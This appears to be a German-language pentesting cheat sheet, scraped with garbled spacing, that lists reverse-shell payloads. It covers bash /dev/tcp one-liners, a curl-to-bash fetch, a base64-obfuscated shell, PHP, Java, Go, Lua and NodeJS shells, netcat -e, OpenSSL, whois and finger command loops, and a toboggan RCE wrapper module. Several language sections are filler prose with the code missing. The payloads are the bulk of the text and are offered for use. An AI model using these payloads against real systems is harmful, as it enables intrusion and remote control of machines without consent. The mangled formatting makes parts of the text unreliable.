curlhttps://reverse-shell.sh/1.1.1.1:3000|bashbash-i>&/dev/tcp/<ATTACKER-IP>/<PORT>0>&1bash-i>&/dev/udp/127.0.0.1/42420>&1#UDP0<&196;exec196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh<&196>&1962>&196exec5<>/dev/tcp/<ATTACKER-IP>/<PORT>; whilereadline0<&5; do $line 2>&5>&5; done#Short and bypass (credits to Dikline)(sh)0>/dev/tcp/10.10.10.10/9091#after getting the previous shell to get the output to executeexec>&0
Symbol sichere Shell
Vergessen Sie nicht, auch mit anderen Shells zu überprüfen: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh und bash.
#If you need a more stable connection do:bash-c'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'#Stealthier method#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0echobm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK|base64-d|bash2>/dev/null
Shell Erklärung
bash -i: Dieser Teil des Befehls startet eine interaktive (-i) Bash-Shell.
>&: Dieser Teil des Befehls ist eine Kurzschreibweise zum Umleiten sowohl der Standardausgabe (stdout) als auch des Standardfehlers (stderr) zum gleichen Ziel.
/dev/tcp/<ANGREIFER-IP>/<PORT>: Dies ist eine spezielle Datei, die eine TCP-Verbindung zur angegebenen IP-Adresse und Port darstellt.
Durch Umleiten der Ausgabe- und Fehlerströme zu dieser Datei sendet der Befehl effektiv die Ausgabe der interaktiven Shell-Sitzung an den Rechner des Angreifers.
0>&1: Dieser Teil des Befehls leitet die Standardeingabe (stdin) zum gleichen Ziel wie die Standardausgabe (stdout) um.
Bei einer Remote Code Execution (RCE)-Schwachstelle in einer auf Linux basierenden Webanwendung kann die Erreichung einer umgekehrten Shell durch Netzwerkabwehrmechanismen wie iptables-Regeln oder komplexe Paketfiltermechanismen behindert werden. In solch eingeschränkten Umgebungen besteht ein alternativer Ansatz darin, eine PTY (Pseudo Terminal) Shell zu erstellen, um effektiver mit dem kompromittierten System zu interagieren.
Ein empfohlenes Tool für diesen Zweck ist toboggan, das die Interaktion mit der Zielumgebung vereinfacht.
Um toboggan effektiv zu nutzen, erstellen Sie ein auf die RCE-Kontext Ihres Zielsystems zugeschnittenes Python-Modul. Ein Modul mit dem Namen nix.py könnte beispielsweise wie folgt strukturiert sein:
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
Und dann kannst du ausführen:
toboggan-mnix.py-i
Um direkt eine interaktive Shell zu nutzen, können Sie -b für die Integration von Burpsuite hinzufügen und das -i entfernen, um einen einfacheren RCE-Wrapper zu erhalten.
Das Präfix und Suffix Ihres Payloads (falls vorhanden)
Die Art und Weise, wie der Payload gesendet wird (Header? Daten? Zusätzliche Informationen?)
Dann können Sie einfach Befehle senden oder sogar den Befehl upgrade verwenden, um eine vollständige PTY zu erhalten (beachten Sie, dass Pipes mit einer ungefähren Verzögerung von 1,3 Sekunden gelesen und geschrieben werden).
Telnet ist ein Netzwerkprotokoll, das die Möglichkeit bietet, eine Verbindung zu einem entfernten System herzustellen und eine interaktive Shell-Sitzung zu starten. Es wird häufig von Hackern verwendet, um Schwachstellen zu identifizieren und Systeme zu kompromittieren.
Um den Befehl zu senden, schreiben Sie ihn auf, drücken Sie Enter und drücken Sie dann STRG+D (um STDIN zu stoppen)
Opfer
export X=Connected; whiletrue; do X=`eval $(whois-h<IP>-p<Port> "Output: $X")`; sleep1; done
Python
Python ist eine vielseitige Programmiersprache, die häufig von Hackern verwendet wird, um Shell-Skripte zu schreiben und verschiedene Aufgaben im Zusammenhang mit Hacking und Pentesting auszuführen. Python bietet eine Vielzahl von Bibliotheken und Frameworks, die das Erstellen von Hacking-Tools erleichtern. Es ist plattformübergreifend und einfach zu erlernen, was es zu einer beliebten Wahl unter Hackern macht.
Perl ist eine beliebte Skriptsprache, die von Hackern häufig verwendet wird, um Shell-Skripte zu schreiben. Perl bietet leistungsstarke Funktionen für die Verarbeitung von Textdateien und kann auch für die Netzwerkprogrammierung verwendet werden. Es ist auf den meisten Linux-Systemen standardmäßig installiert.
Ruby-Shell ist ein interaktiver Ruby-Interpreter, der als Shell verwendet werden kann. Es ermöglicht das Ausführen von Ruby-Code direkt von der Befehlszeile aus. Um Ruby-Shell zu starten, geben Sie einfach irb in Ihrer Terminal-Shell ein.
Ruby-Backdoor
Ein Ruby-Backdoor ist ein Stück Ruby-Code, das in ein System eingeschleust wird, um unbefugten Zugriff zu ermöglichen. Backdoors können verwendet werden, um heimlich auf ein System zuzugreifen, ohne dass der Benutzer davon weiß. Es ist wichtig, Backdoors zu erkennen und zu entfernen, um die Sicherheit des Systems zu gewährleisten.
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.// Using this method may lead to instances where the connection reaches out to the listener and then closes.php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'// Using 'proc_open' makes no assumptions about what the file descriptor will be.// See https://security.stackexchange.com/a/198944 for more information<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?><?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
Java
Java ist eine objektorientierte Programmiersprache, die auf der Java Virtual Machine (JVM) läuft. Java-Code wird in Bytecode kompiliert, der von der JVM ausgeführt wird. Java wird häufig für die Entwicklung von Anwendungen, Webanwendungen, mobilen Anwendungen und großen Systemen verwendet. Es ist bekannt für seine Plattformunabhängigkeit und wird in verschiedenen Bereichen eingesetzt.
r=Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Golang, auch bekannt als Go, ist eine Open-Source-Programmiersprache, die von Google entwickelt wurde. Sie zeichnet sich durch Effizienz und schnelle Kompilierungszeiten aus. Golang wird häufig für die Entwicklung von Tools und Anwendungen im Bereich der Informationssicherheit verwendet.
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Lua
Lua ist eine leistungsstarke, effiziente, leichtgewichtige, eingebettete Skriptsprache. Lua wird häufig für die Erweiterung von Anwendungen und zur Automatisierung von Aufgaben verwendet. Lua-Skripte können in verschiedenen Anwendungen und Systemen eingebettet werden, um zusätzliche Funktionen hinzuzufügen. Lua bietet eine einfache Syntax und ist einfach zu erlernen.
#Linuxlua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linuxlua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
Einführung
Node.js ist eine Open-Source-JavaScript-Laufzeitumgebung, die es ermöglicht, JavaScript-Code außerhalb eines Browsers auszuführen. Es basiert auf der V8 JavaScript-Engine von Google und eignet sich hervorragend für die Entwicklung von serverseitigen Anwendungen.
Verwendung von NodeJS-Shells
NodeJS-Shells sind eine beliebte Wahl für Hacker, da sie eine leistungsstarke Umgebung bieten, um Angriffe durchzuführen und Systeme zu kompromittieren. Mit NodeJS-Shells können Hacker Remote-Zugriff auf Systeme erhalten, Dateien manipulieren, Prozesse überwachen und vieles mehr.
Sicherheitsmaßnahmen
Um sich vor NodeJS-Shell-Angriffen zu schützen, sollten Administratoren regelmäßig Sicherheitsupdates installieren, starke Passwörter verwenden, den Netzwerkverkehr überwachen und den Zugriff auf kritische Systeme beschränken. Es ist auch ratsam, Sicherheitsüberprüfungen durchzuführen, um potenzielle Schwachstellen zu identifizieren und zu beheben.
(function(){var net =require("net"),cp =require("child_process"),sh =cp.spawn("/bin/sh", []);var client =newnet.Socket();client.connect(8080,"10.17.26.64",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; // Prevents the Node.js application form crashing})();orrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")or-var x =global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')or// If you get to the constructor of a function you can define and execute another function inside a string"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or// Abuse this syntax to get a reverse shellvar fs =this.process.binding('fs');var fs =process.binding('fs');orhttps://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSL
Der Angreifer (Kali)
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response
Awk ist eine leistungsstarke Skriptsprache und ein Befehlszeilen-Interpreter, der häufig zum Verarbeiten und Analysieren von Textdateien in Unix- und Linux-Umgebungen verwendet wird. Es ermöglicht Benutzern, Daten zu extrahieren und zu transformieren, indem sie Muster in den Daten identifizieren und entsprechende Aktionen ausführen. Awk kann auch in Shell-Skripten verwendet werden, um komplexe Aufgaben zu automatisieren und zu vereinfachen.
Um den Befehl zu senden, schreiben Sie ihn auf, drücken Sie Enter und drücken Sie dann STRG+D (um STDIN zu stoppen)
Opfer
export X=Connected; whiletrue; do X=`eval $(finger "$X"@<IP>2>/dev/null')`; sleep 1; doneexport X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
Gawk
Gawk ist eine leistungsstarke Skriptsprache für die Datenverarbeitung und Textmanipulation in Unix- und Linux-Umgebungen. Es wird häufig verwendet, um Textdateien zeilenweise zu verarbeiten und Muster zu durchsuchen und zu extrahieren. Gawk bietet eine Vielzahl von Funktionen, einschließlich eingebauter Funktionen und die Möglichkeit, benutzerdefinierte Funktionen zu definieren. Es ist ein äußerst nützliches Werkzeug für Hacker, um Daten schnell und effizient zu analysieren und zu manipulieren.